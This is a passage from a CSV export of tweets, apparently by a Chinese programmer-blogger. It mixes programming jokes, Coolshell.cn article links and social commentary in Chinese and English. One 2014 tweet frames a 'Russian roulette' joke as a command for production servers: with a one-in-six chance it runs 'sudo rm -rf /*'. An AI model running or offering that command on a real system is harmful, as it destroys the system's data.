https://t.co/shJwtlTOEP,,https://twitter.com/haoel/status/744420608276979712\n4957,742375601483309057,2016-06-13 15:18:30+00:00,0,0,0,,@zhangchunlin @xuminzhong https://t.co/p6CtNhneSC,,https://twitter.com/haoel/status/742375601483309057\n4958,742338858432356352,2016-06-13 12:52:30+00:00,12,2,1,,\"Some day, you made a silly mistake, when you thought you knew everything, then you made another stupid mistake... https://t.co/cmMDBUsOq9\",,https://twitter.com/haoel/status/742338858432356352\n4959,739677106452484096,2016-06-06 04:35:39+00:00,12,2,1,,酷壳 Coolshell.cn - 浅谈移动应用的跨平台开发工具（Xamarin和React Native）: 谈移动应用的跨平台开发不能不提HTML5，PhoneGap和Sencha… https://t.co/dJLEdqHEPT,\"[TextLink(text='goo.gl/fb/lgnhxP', url='http://goo.gl/fb/lgnhxP', tcourl='https://t.co/dJLEdqHEPT', indices=(94, 117))]\",https://twitter.com/haoel/status/739677106452484096\n4960,713045995156668416,2016-03-24 16:53:07+00:00,6,3,1,,NPM &amp; left-pad: Have We Forgotten How To Program? | Haney Codes .NET https://t.co/GVng2tovfD,\"[TextLink(text='haneycodes.net/npm-left-pad-h…', url='http://www.haneycodes.net/npm-left-pad-have-we-forgotten-how-to-program/', tcourl='https://t.co/GVng2tovfD', indices=(73, 96))]\",https://twitter.com/haoel/status/713045995156668416\n4961,709746875725774848,2016-03-15 14:23:36+00:00,11,16,0,,\"When I saw this UI, I can't help typing \"\" apt-get install alphago\"\" on my VM... https://t.co/jDasgLYfb8\",,https://twitter.com/haoel/status/709746875725774848\n4962,707390378161209344,2016-03-09 02:19:43+00:00,59,52,16,,\"If AlphaGo come to China, it must be failed because it cannot connect to sever...\",,https://twitter.com/haoel/status/707390378161209344\n4963,705773730643902464,2016-03-04 15:15:44+00:00,1,0,0,,\"@ThinkingQuest12 looks you like Java, you can take a look JavaWorld, SDN,IBM Developerworks, Stackoverflow, github, or YouTube Java channel.\",,https://twitter.com/haoel/status/705773730643902464\n4964,701798787069530112,2016-02-22 16:00:44+00:00,5,6,0,,\"This is not a joke, it's just a couple of 'npm install' commands... https://t.co/KRuqZZEnJA\",,https://twitter.com/haoel/status/701798787069530112\n4965,701793793280835584,2016-02-22 15:40:53+00:00,3,3,1,,What is the maximum value for a int32? - Stack Overflow https://t.co/V8BOilrnCm,\"[TextLink(text='stackoverflow.com/questions/9459…', url='http://stackoverflow.com/questions/94591/what-is-the-maximum-value-for-a-int32', tcourl='https://t.co/V8BOilrnCm', indices=(56, 79))]\",https://twitter.com/haoel/status/701793793280835584\n4966,699610063757905921,2016-02-16 15:03:31+00:00,5,0,3,,对于一些事件，比如：沪女赣男、哈尔滨煌鱼、香港骚乱、或是知乎上的一些八卦是非贴，以及微博上议人是非的，为什么很多人对这些事的评论，就好像自己就在现场一样，而且搞得好像很熟悉当事人似的？呵呵。,,https://twitter.com/haoel/status/699610063757905921\n4967,695522151378472960,2016-02-05 08:19:37+00:00,17,9,1,,@tmdpw good review comments,,https://twitter.com/haoel/status/695522151378472960\n4968,695490754668396544,2016-02-05 06:14:52+00:00,11,13,1,,https://t.co/pvwCjbBjRG,,https://twitter.com/haoel/status/695490754668396544\n4969,695490584325152768,2016-02-05 06:14:11+00:00,4240,4624,34,,The right way process JavaScript exception. https://t.co/sMXqHICudI,,https://twitter.com/haoel/status/695490584325152768\n4970,693594162403287040,2016-01-31 00:38:29+00:00,5,1,0,,OpenSSH and the dangers of unused code https://t.co/jNetj3Xm8x,\"[TextLink(text='lwn.net/Articles/67246…', url='https://lwn.net/Articles/672465/', tcourl='https://t.co/jNetj3Xm8x', indices=(39, 62))]\",https://twitter.com/haoel/status/693594162403287040\n4971,682759161193476096,2016-01-01 03:04:03+00:00,13,9,2,,https://t.co/ZJXCecTmxA,,https://twitter.com/haoel/status/682759161193476096\n4972,682593232719495168,2015-12-31 16:04:43+00:00,7,6,0,,\"Wish you in 2016,&lt;strong&gt;Body&lt;/strong&gt;,const bool Happiness=true,try Unknown catch(...),Success HA,Distributed Traveling,MoneyOverflowed\",,https://twitter.com/haoel/status/682593232719495168\n4973,679316770641997828,2015-12-22 15:05:13+00:00,41,57,1,,其实，TCP这个协议的灵感应该是来自老婆。你看，老婆总是会说，“你在听我说吗？”，“我说的你听进去了吗？”，“你为什么不回答？”…… 而且，对于老婆的意见，如果你回答“否”，老婆会不停地重传，直到你回答了“好”。,,https://twitter.com/haoel/status/679316770641997828\n4974,676817145313955841,2015-12-15 17:32:36+00:00,0,0,1,,@functionhanshu 我们的身边哪有那么多极端的人。,,https://twitter.com/haoel/status/676817145313955841\n4975,676810306165735424,2015-12-15 17:05:26+00:00,10,8,0,,\"Great minds discuss ideas, Average minds discuss event, small minds discuss people.\",,https://twitter.com/haoel/status/676810306165735424\n4976,676810121381449728,2015-12-15 17:04:42+00:00,12,5,1,,观点或想法不同并不代表就不能作朋友，就代表非我族类，虽远必诛，人和人之间背景不同性格不同经历不同，要承认观点不同本来就是正常的，全相同才是不正常，这种理性是成年人的标志。所以，如果因为观点看法不同而产生恩怨，或当你看到两争论都以为他们有恩怨，这说明你还不成熟，还未成年。,,https://twitter.com/haoel/status/676810121381449728\n4977,676447936805343233,2015-12-14 17:05:30+00:00,29,44,2,,天才是1%的灵感，加上99%的汗水；编程是1%的编码，加上99%的在Google/StackOverflow/Github上找代码。,,https://twitter.com/haoel/status/676447936805343233\n4978,676424251570688000,2015-12-14 15:31:23+00:00,0,0,0,,@bigzhu 😅😅😅,,https://twitter.com/haoel/status/676424251570688000\n4979,675912825324335104,2015-12-13 05:39:10+00:00,7,1,1,,酷壳 Coolshell.cn - 让我们来谈谈分工: 昨天，我看到一个新闻——雅虎取消了QA团队，工程师必须自己负责代码质量，并使用持续集成代替QA。 同时，也听到网友说，“听微软做… https://t.co/JRyjV2rTyn,\"[TextLink(text='goo.gl/fb/A6KVF8', url='http://goo.gl/fb/A6KVF8', tcourl='https://t.co/JRyjV2rTyn', indices=(94, 117))]\",https://twitter.com/haoel/status/675912825324335104\n4980,638883974014570496,2015-09-02 01:19:43+00:00,3,2,0,,酷壳 Coolshell.cn - Cuckoo Filter：设计与实现: （感谢网友 @我的上铺叫路遥 投稿） 对于海量数据处理业务，我们通常需要一个索引数据结构，用来帮助查询… http://t.co/0yV0a9fkcP,\"[TextLink(text='goo.gl/fb/InaOv6', url='http://goo.gl/fb/InaOv6', tcourl='http://t.co/0yV0a9fkcP', indices=(92, 114))]\",https://twitter.com/haoel/status/638883974014570496\n4981,638609907491598336,2015-09-01 07:10:41+00:00,2,4,3,,那些觉得人工智能会反过来干掉人类的言论真是杞人忧天，在我看来，能干掉人类的不是那些有人工智能的代码，而且那些无智能的写得像屎一样的代码。：）,,https://twitter.com/haoel/status/638609907491598336\n4982,636332964113088513,2015-08-26 00:22:55+00:00,3,1,0,,酷壳 Coolshell.cn - Docker基础技术：DeviceMapper: 在上一篇介绍AUFS的文章中，大家可以看到，Docker的分层镜像是怎么通过UnionFS这种文件… http://t.co/EvHHYZi0Gf,\"[TextLink(text='goo.gl/fb/lrq96G', url='http://goo.gl/fb/lrq96G', tcourl='http://t.co/EvHHYZi0Gf', indices=(94, 116))]\",https://twitter.com/haoel/status/636332964113088513\n4983,635613525738565632,2015-08-24 00:44:08+00:00,5,6,0,,酷壳 Coolshell.cn - Docker基础技术：AUFS: AUFS是一种Union File System，所谓UnionFS就是把不同物理位置的目录合并mount到同一个… http://t.co/d02VxviyBl,\"[TextLink(text='goo.gl/fb/0ES7n7', url='http://goo.gl/fb/0ES7n7', tcourl='http://t.co/d02VxviyBl', indices=(94, 116))]\",https://twitter.com/haoel/status/635613525738565632\n4984,588870630411472896,2015-04-17 01:04:33+00:00,10,3,1,,酷壳 Coolshell.cn - Docker基础技术：Linux CGroup: 前面，我们介绍了Linux Namespace，但是Namespace解决的问题主要是环境隔离的… http://t.co/XGer93ENb1,\"[TextLink(text='goo.gl/fb/r2No2F', url='http://goo.gl/fb/r2No2F', tcourl='http://t.co/XGer93ENb1', indices=(93, 115))]\",https://twitter.com/haoel/status/588870630411472896\n4985,588534085158641666,2015-04-16 02:47:14+00:00,12,3,0,,酷壳 Coolshell.cn - Docker基础技术：Linux Namespace（上）: 时下最热的技术莫过于Docker了，很多人都觉得Docker是个新技术，其实不然… http://t.co/yfQQ2cg80J,\"[TextLink(text='goo.gl/fb/YCYzNy', url='http://goo.gl/fb/YCYzNy', tcourl='http://t.co/yfQQ2cg80J', indices=(91, 113))]\",https://twitter.com/haoel/status/588534085158641666\n4986,588533796678414336,2015-04-16 02:46:06+00:00,0,0,0,,@muxuezi 储备的。,,https://twitter.com/haoel/status/588533796678414336\n4987,588527487124172800,2015-04-16 02:21:01+00:00,12,1,0,,酷壳 Coolshell.cn - Docker基础技术：Linux Namespace（下）: 在 Docker基础技术：Linux Namespace（上篇）中我们了解了，UTD… http://t.co/reuYexUfrN,\"[TextLink(text='goo.gl/fb/THGUVA', url='http://goo.gl/fb/THGUVA', tcourl='http://t.co/reuYexUfrN', indices=(93, 115))]\",https://twitter.com/haoel/status/588527487124172800\n4988,587782873647808513,2015-04-14 01:02:12+00:00,3,4,0,,酷壳 Coolshell.cn - 关于移动端的钓鱼式攻击: 今天，在微博上看了一篇《微信和淘宝到底是谁封谁》的文章，我觉得文章中逻辑错乱，所以，我发了一篇关于这篇文章逻辑问题的长微博… http://t.co/zUxkyZcPte,\"[TextLink(text='goo.gl/fb/nwX8cF', url='http://goo.gl/fb/nwX8cF', tcourl='http://t.co/zUxkyZcPte', indices=(94, 116))]\",https://twitter.com/haoel/status/587782873647808513\n4989,579528739354124288,2015-03-22 06:23:13+00:00,3,1,1,,如果从另一种智慧生物的角度来观察人类，一定会觉得人类这个物种智商有问题，就像那些会追自己尾巴的狗狗一样，人类这种物种怎么老是会在吃东西的时候咬自己的舌头？——刚咬到自己的舌头后有感。,,https://twitter.com/haoel/status/579528739354124288\n4990,573856587418238977,2015-03-06 14:44:06+00:00,5,4,2,,在帝都这多年，发现有两个地方，无论天气怎么样，无论如何寒冷，如何酷热，群众都会风雨无阻义无反顾在那里排长队。这两个地方，一个是美国大使馆，另一个是国家信访局。,,https://twitter.com/haoel/status/573856587418238977\n4991,566460583520649216,2015-02-14 04:55:02+00:00,6,9,1,,为什么情人节要和程序员约会？因为，程序员一般都是多功能的，除了约会，他们还会帮你修理手机、清理电脑、甚至大小家电，他们还能在网上抢购商品，包括火车票。程序员的脾气都还不错，除了技术話题，他们几乎从不吵架。最最最最重要的是，程序员可以轻松的保持清醒的一一坚持一晚不睡。,,https://twitter.com/haoel/status/566460583520649216\n4992,566174439352442880,2015-02-13 09:58:00+00:00,6,0,0,,\"@virushuo 说事就好了。Great minds discuss the ideas, Average minds discuss the events, Small minds discuss the people.\",,https://twitter.com/haoel/status/566174439352442880\n4993,557336498857447424,2015-01-20 00:39:10+00:00,4,13,2,,http://t.co/GSvtzaMyjU,,https://twitter.com/haoel/status/557336498857447424\n4994,557171285252268033,2015-01-19 13:42:40+00:00,8,17,1,,要识别“程序员新手”和“程序员老手”其实很简单。在调通一个程序后，新手一般会很兴奋地大喊道：“耶～～，程序跑起来了！我真是太牛了！！”，而老手一般会非常低调和低声地自言自语道：“靠～～，这程序是怎么跑起来的？我究竟干了什么？”,,https://twitter.com/haoel/status/557171285252268033\n4995,550327617836965888,2014-12-31 16:28:23+00:00,2,6,0,,我喜欢变化和未知，喜欢不同和自由，喜欢激进和探索，所以，在这里祝大家2015年能有更多的自由和可能性可以去探索和经历那些刺激和未知的东西。,,https://twitter.com/haoel/status/550327617836965888\n4996,550297938241789953,2014-12-31 14:30:27+00:00,0,0,0,,@tomorrowing 居然被删除了，我自己还能看得见。现在Gmail应该可以访问了，那些SB顶不住舆论压力了。,,https://twitter.com/haoel/status/550297938241789953\n4997,550125752901836801,2014-12-31 03:06:14+00:00,3,2,0,,酷壳 Coolshell.cn - Linus：为何对象引用计数必须是原子的: （感谢网友 @我的上铺叫路遥 投稿） Linus大神又在rant了！这次的吐槽对象是时下很火热的并行技术… http://t.co/kMz7r9JBv2,\"[TextLink(text='goo.gl/fb/TsVJSQ', url='http://goo.gl/fb/TsVJSQ', tcourl='http://t.co/kMz7r9JBv2', indices=(94, 116))]\",https://twitter.com/haoel/status/550125752901836801\n4998,548367935396261889,2014-12-26 06:41:18+00:00,9,13,3,,标准的软件开发 LifeCycle ! http://t.co/ITNbFrBEJa,,https://twitter.com/haoel/status/548367935396261889\n4999,547715614261772288,2014-12-24 11:29:13+00:00,6,10,0,,\"#Merry Christmas# python -c \"\"for i in range(0,5)+range(2,8)+range(3,12)+[2,2]:print' '*(40-2*i-i/2)+'*'*(4*i+1+i)\"\"\",,https://twitter.com/haoel/status/547715614261772288\n5000,547223371222507523,2014-12-23 02:53:13+00:00,6,9,2,,有人不小心猜到了五毛的密码，结果找到很多东西：http://t.co/UkLS8AbTOL,\"[TextLink(text='xiaolan.me/50-cent-party-…', url='http://xiaolan.me/50-cent-party-jxgzzg.html', tcourl='http://t.co/UkLS8AbTOL', indices=(23, 45))]\",https://twitter.com/haoel/status/547223371222507523\n5001,544325412981989376,2014-12-15 02:57:46+00:00,2,2,0,,酷壳 Coolshell.cn - 好钢要用在刀刃上 — Ruby on Rails 作者 David 谈混合(Hybrid)移动应用开发: David，Ruby on Rails… http://t.co/BCh5NgXX9L,\"[TextLink(text='goo.gl/fb/NxRy2d', url='http://goo.gl/fb/NxRy2d', tcourl='http://t.co/BCh5NgXX9L', indices=(92, 114))]\",https://twitter.com/haoel/status/544325412981989376\n5002,541174144792920065,2014-12-06 10:15:45+00:00,2,4,0,,酷壳 Coolshell.cn - HTML6 初探 — 你没看错，是6不是5: HTML5 概述 HTML5 是 HTML 语言最受欢迎的版本之一，它支持音频和视频、离线存储、移动端… http://t.co/AAx05h0L4x,\"[TextLink(text='goo.gl/fb/Jr1sDC', url='http://goo.gl/fb/Jr1sDC', tcourl='http://t.co/AAx05h0L4x', indices=(94, 116))]\",https://twitter.com/haoel/status/541174144792920065\n5003,540693809684688896,2014-12-05 02:27:04+00:00,50,65,13,,有同事问我某个技术咋查不到？我发现他在Google里用中文关键词。我说，你得用英文关键词啊，就算是中文社区里有也要坚持用英文，因为技术都是从西方传过来的，不用英文的话，就永远无法与世界真正接轨，你的信息视野无法真正扩大，翻墙并不是架个VPN，还用中文搜索的话，就算翻了也等于没翻。,,https://twitter.com/haoel/status/540693809684688896\n5004,537396237993910273,2014-11-26 00:03:42+00:00,11,4,1,,酷壳 Coolshell.cn - 70%的代码跨平台重用，Google Inbox 是如何做到的？: 原文链接 http://t.co/JMlOtHizhl… http://t.co/SXMypeQNxa,\"[TextLink(text='arstechnica.com/information', url='http://arstechnica.com/information', tcourl='http://t.co/JMlOtHizhl', indices=(57, 79)), TextLink(text='goo.gl/fb/35HpZB', url='http://goo.gl/fb/35HpZB', tcourl='http://t.co/SXMypeQNxa', indices=(81, 103))]\",https://twitter.com/haoel/status/537396237993910273\n5005,535475021976596483,2014-11-20 16:49:28+00:00,3,1,0,,酷壳 Coolshell.cn - vfork 的挂掉的一个问题: 在知乎上，有个人问了这样的一个问题——为什么vfork的子进程里用return，整个程序会挂掉，而且exit()不会… http://t.co/CmE8wW1zbx,\"[TextLink(text='goo.gl/fb/PYMw9F', url='http://goo.gl/fb/PYMw9F', tcourl='http://t.co/CmE8wW1zbx', indices=(94, 116))]\",https://twitter.com/haoel/status/535475021976596483\n5006,533310429020184576,2014-11-14 17:28:09+00:00,35,59,9,,现在的手机游戏相对于以前的电脑游戏，有剧情的越来越少，打发时间的越来越多。现在的网上社交相对于以前的聊天室和论坛，交流的越来越少，炫耀自我的越来越多。现在的程序员相对于以前的，Google的越来越多，思考的越来越少，写书的越来越多，看书的越来越少。这时代究竟是进步了还是退步了？,,https://twitter.com/haoel/status/533310429020184576\n5007,525127660981059584,2014-10-23 03:32:45+00:00,14,9,0,,酷壳 Coolshell.cn - Leetcode 编程训练: Leetcode这个网站上的题都是一些经典的公司用来面试应聘者的面试题，很多人通过刷这些题来应聘一些喜欢面试算法的公司… http://t.co/TVX9cX4I4V,\"[TextLink(text='goo.gl/fb/NZK2yZ', url='http://goo.gl/fb/NZK2yZ', tcourl='http://t.co/TVX9cX4I4V', indices=(94, 116))]\",https://twitter.com/haoel/status/525127660981059584\n5008,521312009275445248,2014-10-12 14:50:43+00:00,4,1,0,,酷壳 Coolshell.cn - State Threads 回调终结者: （感谢网友 @我的上铺叫路遥 投稿） 上回写了篇《一个“蝇量级”C语言协程库》，推荐了一下… http://t.co/EzTnHAWLWx,\"[TextLink(text='goo.gl/fb/L75twt', url='http://goo.gl/fb/L75twt', tcourl='http://t.co/EzTnHAWLWx', indices=(86, 108))]\",https://twitter.com/haoel/status/521312009275445248\n5009,516073409512341504,2014-09-28 03:54:23+00:00,0,0,1,,@kevinwei99 哼，你都已人肉翻墙了。,,https://twitter.com/haoel/status/516073409512341504\n5010,516013987729641473,2014-09-27 23:58:16+00:00,6,7,1,,酷壳 Coolshell.cn - bash代码注入的安全漏洞: 很多人或许对上半年发生的安全问题“心脏流血”（Heartbleed Bug）事件记忆颇深，这两天，又出现了另外一个… http://t.co/KyGuIFMzEw,\"[TextLink(text='goo.gl/fb/oTuFm6', url='http://goo.gl/fb/oTuFm6', tcourl='http://t.co/KyGuIFMzEw', indices=(92, 114))]\",https://twitter.com/haoel/status/516013987729641473\n5011,508664138164232192,2014-09-07 17:12:35+00:00,6,12,0,,酷壳 Coolshell.cn - 互联网之子 – Aaron Swartz: 1986年11月8日，有个叫Aaron Swartz的人在美国芝加哥伊利诺伊州出生。因为他父母创办了一个… http://t.co/JCdEG55CYc,\"[TextLink(text='goo.gl/fb/XFQKex', url='http://goo.gl/fb/XFQKex', tcourl='http://t.co/JCdEG55CYc', indices=(94, 116))]\",https://twitter.com/haoel/status/508664138164232192\n5012,496804923208519680,2014-08-05 23:48:18+00:00,3,1,2,,酷壳 Coolshell.cn - 谜题的答案和活动的心得体会: 我于2014年8月3日周六的上午在微博、twitter、CoolShell上发布了一个和程序员有关的解谜题的活动… http://t.co/OXelLeDm4T,\"[TextLink(text='goo.gl/fb/3rMpWu', url='http://goo.gl/fb/3rMpWu', tcourl='http://t.co/OXelLeDm4T', indices=(91, 113))]\",https://twitter.com/haoel/status/496804923208519680\n5013,496491225524871168,2014-08-05 03:01:47+00:00,0,1,0,,@haoel 【该活动结束了，题页面继续保留】TOP100已经满了，我正在为TOP10准备奖品，TOP10-TOP100 我会随机抽几个送杯子。因为只有我一个人，我只能抽空干，所以不会那么快……本次活动UV 3万2，通过120人左右，通过率4‰不到，谢谢大家的参与。,,https://twitter.com/haoel/status/496491225524871168\n5014,495884923903803392,2014-08-03 10:52:33+00:00,0,1,0,,酷壳 Coolshell.cn - 【活动】解迷题送礼物: 首先，先跟大家道歉一下最近CoolShell大约长达一个多月没有什么更新，原因主要在于是，去看世界杯去了，这一个月的世界杯… http://t.co/oaJxcmsbZo,\"[TextLink(text='goo.gl/fb/OLHSMR', url='http://goo.gl/fb/OLHSMR', tcourl='http://t.co/oaJxcmsbZo', indices=(93, 115))]\",https://twitter.com/haoel/status/495884923903803392\n5015,495768935979950081,2014-08-03 03:11:39+00:00,6,7,5,,【活动】设计了一些和程序员有关的迷量，大家可访问http://t.co/f8i5fpdj3Q，网页是用英文做。通关的同学我准备了《UNIX环境高级编程》第三版或一个马克杯送给出。因为奖品数量有限，所以，只能给最先做出来的十个人。 http://t.co/0cRHdUyFLQ,\"[TextLink(text='fun.coolshell.cn', url='http://fun.coolshell.cn/', tcourl='http://t.co/f8i5fpdj3Q', indices=(24, 46))]\",https://twitter.com/haoel/status/495768935979950081\n5016,492540484556828672,2014-07-25 05:22:57+00:00,3,1,0,,If programmers have make a plane: http://t.co/Jc70JvtHvz,\"[TextLink(text='youtu.be/UZq4sZz56qM', url='http://youtu.be/UZq4sZz56qM', tcourl='http://t.co/Jc70JvtHvz', indices=(34, 56))]\",https://twitter.com/haoel/status/492540484556828672\n5017,492187169889320960,2014-07-24 05:59:00+00:00,30,64,9,,在中国，只要坚持如下原则，无论干啥，你一定能成为优秀的产品经理，1）Windows端：开机自动启动，设置浏览器首页，新闻弹窗。2）移动端：收集用户通讯录，收集用户位置，各种垃圾提醒。3）Web端：水军刷榜软文营销垃圾信息，在广告中插入正文、正片以及正常搜索结果，开通会员去广告……,,https://twitter.com/haoel/status/492187169889320960\n5018,487553080582352896,2014-07-11 11:04:47+00:00,0,0,0,,@wuhengcn 大故障啊，没看懂吗？,,https://twitter.com/haoel/status/487553080582352896\n5019,487191240715157505,2014-07-10 11:06:58+00:00,16,94,9,,2014年迄今为止，中国互联网发生两起重大故障，第一起是1月21日，中国通用顶级域域名解析出现异常，对.com、.org以及.net网站的访问许多会被解析到错误的IP地址65.49.2.178，全国约有三分之二的网站受到影响。第二起是7月10日，中国互联网可以访问Google了。,,https://twitter.com/haoel/status/487191240715157505\n5020,485293042128019456,2014-07-05 05:24:12+00:00,1,7,3,,上Twitter发现全部都是 Happy 4th of July，才意识到是独立日。在此，由衷感谢美国同学英勇抗击各种入侵地球的外星人，多次成功地拯救地球并挽救了全人类 。,,https://twitter.com/haoel/status/485293042128019456\n5021,484980528198610944,2014-07-04 08:42:23+00:00,0,0,0,,@formatself twitter的图片的用户体验有点弱。看新浪微博的吧：http://t.co/tdvYan3Bf0,\"[TextLink(text='ww3.sinaimg.cn/mw1024/538efef…', url='http://ww3.sinaimg.cn/mw1024/538efefbgw1ei0tyvoqkij20fj2gfwvb.jpg', tcourl='http://t.co/tdvYan3Bf0', indices=(39, 61))]\",https://twitter.com/haoel/status/484980528198610944\n5022,484976427809263616,2014-07-04 08:26:05+00:00,7,5,1,,如果编程语言是超级英雄（原文：http://t.co/g2QQrW4dei）P.S. 原谅我加了一些中文。 http://t.co/SFh3gPI1Hx,\"[TextLink(text='codingninja.co.uk/if-programming…', url='http://www.codingninja.co.uk/if-programming-languages-were-superheros/', tcourl='http://t.co/g2QQrW4dei', indices=(15, 37))]\",https://twitter.com/haoel/status/484976427809263616\n5023,483195831382585344,2014-06-29 10:30:38+00:00,0,0,0,,@ktog0307 我6岁前是没踢过。另外，我这推你不会当真了吗？,,https://twitter.com/haoel/status/483195831382585344\n5024,482311798670897152,2014-06-26 23:57:48+00:00,0,1,1,,苏亚雷斯咬人的赔率1:175，要是我，我也会忍不住去咬人的。#阴谋论#,,https://twitter.com/haoel/status/482311798670897152\n5025,482310211705663490,2014-06-26 23:51:30+00:00,0,0,1,,@ryaneof 访问不了啊。,,https://twitter.com/haoel/status/482310211705663490\n5026,476709436711399424,2014-06-11 12:56:01+00:00,0,3,4,,以前用DOS的时候，我以为Linux支持Ctrl+Alt+Del是为了模仿DOS。这么多年来，微软的Ctrl+Alt+Del在Windows下有了新的解释，而Linux还是老样子。现在我终于明白了，Linux这么干是给Windows的用户埋了一个大坑。这招真阴啊。,,https://twitter.com/haoel/status/476709436711399424\n5027,475816023103258624,2014-06-09 01:45:54+00:00,3,1,1,,酷壳 Coolshell.cn - 开发团队的效率: 我之前写过一篇叫《加班与效率》的文章，从概念上说了一些我对“效率”的认识，但是那篇文章趋于概念化，对于一些没有经历过这样的环境的同学… http://t.co/iz8PeOJDa0,\"[TextLink(text='goo.gl/fb/HIRNn', url='http://goo.gl/fb/HIRNn', tcourl='http://t.co/iz8PeOJDa0', indices=(95, 117))]\",https://twitter.com/haoel/status/475816023103258624\n5028,473448916176740353,2014-06-02 12:59:52+00:00,0,3,3,,忍着没吐看完了新版烂片《大闹天宫》，发现这电影应该是天庭宣传部挽救因为原版西游记给大众长期以来造成对天庭的信任危机拍的。因为它把民间花果山和天庭官僚霸权主义间矛盾硬生生地推给了牛魔王（牛魔王最终变身撒旦和Diablo），顺带铲除了政治同僚二郎神，并重新树立了玉皇大帝伟大光辉的形象,,https://twitter.com/haoel/status/473448916176740353\n5029,473117292083949568,2014-06-01 15:02:07+00:00,0,0,1,,@wangfp 送佛送到西 http://t.co/Kfwfg1Cs6s （这点小事，自己搞定嘛，真是伸手党）,\"[TextLink(text='coolshell.cn/World.Cup.2014…', url='http://coolshell.cn/World.Cup.2014.ics', tcourl='http://t.co/Kfwfg1Cs6s', indices=(14, 36))]\",https://twitter.com/haoel/status/473117292083949568\n5030,473116576313376768,2014-06-01 14:59:16+00:00,0,0,0,,@cryous 不客气。,,https://twitter.com/haoel/status/473116576313376768\n5031,473066665664450561,2014-06-01 11:40:56+00:00,59,72,7,,做了一个世界杯的日历，大家可以通过这个链接下载，http://t.co/OX9pjsa7AC，可以导入Outlook和Google Calendar。然后可以同步到手机上。 http://t.co/SCb280s2T7,\"[TextLink(text='coolshell.cn/World.Cup.2014…', url='http://coolshell.cn/World.Cup.2014.zip', tcourl='http://t.co/OX9pjsa7AC', indices=(24, 46))]\",https://twitter.com/haoel/status/473066665664450561\n5032,472267839076720641,2014-05-30 06:46:41+00:00,1,11,0,,前天看了《机械战警2014》，电影中主持主义的公司搞出那半人半机器的机械警察收到很好的效果后，发现这个机械警察除了打击社会犯罪，还开始反腐了，于是电影中出现了让我印象最深的对白：“我们希望做出来的产品可以降低犯罪率，但是我们不希望他反腐”。我一下觉得身边好多事情的思路都是这样的。,,https://twitter.com/haoel/status/472267839076720641\n5033,471982396829470720,2014-05-29 11:52:27+00:00,0,0,1,,@multiple1902 英文叫“three-way handshake”，这个不知道怎么翻译，或许不翻译更好。,,https://twitter.com/haoel/status/471982396829470720\n5034,471853669969711104,2014-05-29 03:20:56+00:00,8,2,0,,酷壳 Coolshell.cn - TCP 的那些事儿（下）: 这篇文章是下篇，所以如果你对TCP不熟悉的话，还请你先看看上篇《TCP的那些事儿（上）》 上篇中，我们介绍了TCP的协议头… http://t.co/yzbTv4tl6M,\"[TextLink(text='goo.gl/fb/LwevY', url='http://goo.gl/fb/LwevY', tcourl='http://t.co/yzbTv4tl6M', indices=(95, 117))]\",https://twitter.com/haoel/status/471853669969711104\n5035,471694496682360833,2014-05-28 16:48:26+00:00,0,2,1,,有一个应用需要用你的手机号注册，并导入你的通讯录，然后你可以匿名发贴。还真有人在里面吐槽发贴，这是多么奇葩的一件事啊。,,https://twitter.com/haoel/status/471694496682360833\n5036,471444931555241984,2014-05-28 00:16:45+00:00,6,8,0,,酷壳 Coolshell.cn - TCP 的那些事儿（上）: TCP是一个巨复杂的协议，因为他要解决很多问题，而这些问题又带出了很多子问题和阴暗面。所以学习TCP本身是个比较痛苦的过程… http://t.co/d7FpYUSN4g,\"[TextLink(text='goo.gl/fb/wEUf9', url='http://goo.gl/fb/wEUf9', tcourl='http://t.co/d7FpYUSN4g', indices=(95, 117))]\",https://twitter.com/haoel/status/471444931555241984\n5037,470946599837761536,2014-05-26 15:16:33+00:00,0,1,1,,生个孩子，最少有一个好处，那就是我在网上的密码设定集中又有一些我忘不了的字符和数字了。比如孩子的生日、姓名、属相……,,https://twitter.com/haoel/status/470946599837761536\n5038,470855744959418368,2014-05-26 09:15:32+00:00,0,0,1,,@chenshaoju @nekoworkshop @wzyboy @chemhack  你还真去试啊。服了！,,https://twitter.com/haoel/status/470855744959418368\n5039,469769741922353152,2014-05-23 09:20:09+00:00,20,70,3,,\"俄罗斯轮盘赌（Russian roulette）系统管理员版。在生产环境机器命令行下输入以下命令： [ $[$RANDOM % 6] == 0 ] &amp;&amp; sudo rm -rf /* || echo \"\"Lucky Boy\"\" http://t.co/e9AOFNafIP\",,https://twitter.com/haoel/status/469769741922353152\n5040,469481625927958531,2014-05-22 14:15:16+00:00,8,9,17,,问大家两个问题：1）如果你不用Google的搜索引擎，不去StackOverflow类似的问答网站，你还会编程吗？2）你平时Google和Stackoverflow出来的那些代码或知识点，你会顺藤摸瓜并举一反三地系统地学习吗？还是囫囵吞枣稀里糊涂地搞定当下就行？,,https://twitter.com/haoel/status/469481625927958531\n5041,468634462817746945,2014-05-20 06:08:57+00:00,0,0,0,,@virushuo 哈哈哈！还真是，服了。,,https://twitter.com/haoel/status/468634462817746945\n5042,468630246204243970,2014-05-20 05:52:12+00:00,0,0,0,,@virushuo 为什么我一看到你的username，我就想很自然地念出“猥琐”二字？,,https://twitter.com/haoel/status/468630246204243970\n5043,464794821199413249,2014-05-09 15:51:35+00:00,9,5,0,,我3岁时让她天天抱我，10岁时我让她给我钱花，16岁我和她吵架骂她笨，18岁嫌她烦要离开她，25岁嫌她唠叨不理她，30岁时我只在有空时才回去看她，40岁我经常想着她，50岁时我会觉得我不能失去她，再往后，我想我可能会觉得如果她还活着我会放弃一切去陪她。后天是母亲节，别忘了母亲。,,https://twitter.com/haoel/status/464794821199413249\n5044,463970191001411585,2014-05-07 09:14:48+00:00,4,0,0,,酷壳 Coolshell.cn - 面向GC的Java编程: （感谢网友 @Hesey小纯纯 投稿 博客 | 原文链接） Java程序员在编码过程中通常不需要考虑内存问题，JVM经过高度… http://t.co/e3bC5ltffz,\"[TextLink(text='goo.gl/fb/IY34X', url='http://goo.gl/fb/IY34X', tcourl='http://t.co/e3bC5ltffz', indices=(95, 117))]\",https://twitter.com/haoel/status/463970191001411585\n5045,463305512738512897,2014-05-05 13:13:36+00:00,56,180,14,,apt-get install wife http://t.co/3paaoZclcO,,https://twitter.com/haoel/status/463305512738512897\n5046,458037224140181504,2014-04-21 00:19:18+00:00,1,2,0,,\"酷壳 Coolshell.cn - C语言的整型溢出问题: 整型溢出有点老生常谈了，bla, bla, bla… 但似乎没有引起多少人的重视。整型溢出会有可能导致缓存溢出，缓存溢出会导致… http://t.co/uC6yt4Wbd5\",\"[TextLink(text='goo.gl/fb/TJdbq', url='http://goo.gl/fb/TJdbq', tcourl='http://t.co/uC6yt4Wbd5', indices=(95, 